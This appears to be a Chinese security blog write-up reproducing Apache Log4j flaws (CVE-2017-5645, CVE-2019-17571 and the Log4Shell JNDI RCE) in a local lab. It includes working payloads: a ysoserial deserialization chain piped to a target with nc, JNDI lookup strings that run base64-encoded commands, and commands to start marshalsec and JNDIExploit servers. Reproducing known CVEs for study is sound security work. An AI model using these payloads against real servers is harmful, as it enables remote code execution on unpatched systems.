文章目录
- 1. Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)
- 利用条件
- 利用
- 2. CVE-2019-17571
- 利用条件
- 利用
- 3. apache log4j rce
- 利用条件
- 环境搭建
- 利用
- 补充:命令执行部分
- 总结
- 补充:如何将其变成正常的JNDI注入(及可加载攻击者自定义的class文件)
- 二次总结
1. Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)
Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。
利用条件
- 版本大于2小于2.82
- 有反序列化的利用链,因为这个漏洞只是提供给你一个让你传递反序列化数据的入口而已,至于
能不能rce则是取决于被攻击机器上有没有完整的利用链
。
利用
我们假设被攻击机器上有CC5的利用链,那么利用payload如下:
java -jar ysoserial-master-v0.0.5-gb617b7b-16.jar CommonsCollections5 "touch /tmp/success" | nc your-ip 4712
2. CVE-2019-17571
log4j是Apache开发的一个日志工具。可以将Web项目中的日志输出到控制台,文件,GUI组件,甚至是套接口服务器。本次出现漏洞就是因为log4j在启动套接口服务器后,对监听端口传入的反序列化数据没有进行过滤而造成的。下面我们以log4j-1.2.17.jar的源码来进行分析。
利用条件
- 版本1.2.4 <= Apache Log4j <= 1.2.17(最新版)
- 有反序列化的利用链,因为这个漏洞只是提供给你一个让你传递反序列化数据的入口而已,至于
能不能rce则是取决于被攻击机器上有没有完整的利用链
。
利用
我们假设被攻击机器上有CC5的利用链,那么利用payload如下:
java -jar ysoserial-master-v0.0.5-gb617b7b-16.jar CommonsCollections5 "touch /tmp/success" | nc your-ip 4712
log4j<=1.2.17反序列化漏洞(CVE-2019-17571)分析
3. apache log4j rce
原理:https://mp.weixin.qq.com/s/K74c1pTG6m5rKFuKaIYmPg
总结一下就是,日志中${}中的部分会被当作lookup函数的参数。
apacjhe log4j中的lookup作用是方便系统将特殊的值添加到日志之中,例如${hostname}就是主机名。
漏洞代码在log4j-core与log4j-api这两个jar包中。
漏洞代码在log4j-core与log4j-api这两个jar包中。
漏洞代码在log4j-core与log4j-api这两个jar包中。
环境:https://github.com/shanfenglan/apache_log4j_poc
利用条件
2.0 <= Log4j -2 <= 2.14.1
环境搭建
依赖的xml配置在这里查找:https://mvnrepository.com/artifact/org.slf4j/slf4j-api/1.7.25
使用idea创建一个Maven项目,并在pom.xml中添加漏洞版本Apache log4j的相关依赖,分别为log4j-core与log4j-api
,最终完整的含具体pom.xml文件如下:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>log4j-rce</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
</project>
然后创建一个java文件内容如下:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j {
private static final Logger logger = LogManager.getLogger(Log4j.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://192.168.171.1:12344/a}");
}
}
执行这个java文件即可利用漏洞。
Maven项目pom.xml文件浅析
https://github.com/tangxiaofeng7/apache-log4j-poc
利用
poc:
${jndi:ldap://192.168.171;1:12344/Basic/Command/whoami}
命令执行部分我在linux与windows都未复现成功,不过看github上有人说windows下环境可以复现成功。
补充:命令执行部分
这个命令执行是本地的命令执行,也就是说恶意的class文件必须得和漏洞利用点所在的文件在同一文件夹或者同一个jar包内
,举例如下:
log4j这个class是漏洞文件,执行后可以利用漏洞。
Log4jRCE是恶意的class文件,作用是在tmp下创建一个文件,名为123。
Tttouch是恶意的class文件,作用是在tmp下创建一个文件,名为1.txt。
我们先看看log4j.java的内容:
启动jndi服务端命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Tttouch"
当上述三个class文件
在同一文件夹内的时候,执行这个log4j之后tmp结果如下:
此时我们将Tttouch.class移动到另一个文件夹下,反正不与log4j放在同一文件夹:
此时再次执行log4j,tmp文件夹中无新增文件:
1.txt并没有被创建
此时我们复制一个Tttouch.class放在和log4j在同一文件夹下,然后将jndi服务器路径下的Tttouch删掉,接着执行log4j:
1.txt再次出现了!!
要知道,我们JNDI服务器根本没有这个类!
总结
这个漏洞给我的感觉是可以触发jndi注入,但是不会从我们的jndi服务器上拉取任何文件,而是仅仅判断这个文件本地是否存在,存在则执行,不存在则不执行。传统的jndi注入受害者会想下载我们创建的恶意class文件并实例化,此次好像并不是这样。
补充:如何将其变成正常的JNDI注入(及可加载攻击者自定义的class文件)
条件:如果我们使用LDAP方式的jndi注入,受害者服务器的代码中java的配置必须是com.sun.jndi.ldap.object.trustURLCodebase=True。
JDK中的默认配置如下:
JDK 5U45、6U45、7u21、8u121开始java.rmi.server.useCodebaseOnly默认位置true
JDK 6u132、7u122、8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值false
JDK 11.0.1、8u191、7u201、6u211 com.sun.jndi.ldap.object.trustURLCodebase默认为false
因此我们需要在log4j的代码中加上:
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
最终代码如下:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j {
private static final Logger logger = LogManager.getLogger(Log4j.class);
public static void main(String[] args) {
//dG91Y2ggL3RtcC8xMjM 是touch /tmp/123的base64编码
System.out.println("开始执行漏洞利用");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
logger.error("${jndi:ldap://127.0.0.1:12344/Basic/Command/Base64/dG91Y2ggL3RtcC8xMjM}");
System.out.println("利用完成");
}
}
执行命令:
使用JNDIExploit开启jndi服务器:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.171.1 -l 12344 -p 9999
参考文章:https://www.codenong.com/f23e29b783ff38df36c9/
二次总结
JNDI注入原理及利用
JDNI注入由于其加载动态类原理是JNDI Reference远程加载Object Factory类的特性(使用的不是RMI Class Loading,而是URLClassLoader)。
这个漏洞的利用跟JDK中的配置有很大关系,换句话说跟jdk版本关系很大。
只要JDK版本无漏洞,那么apache log4j的这个RCE就很难利用成功。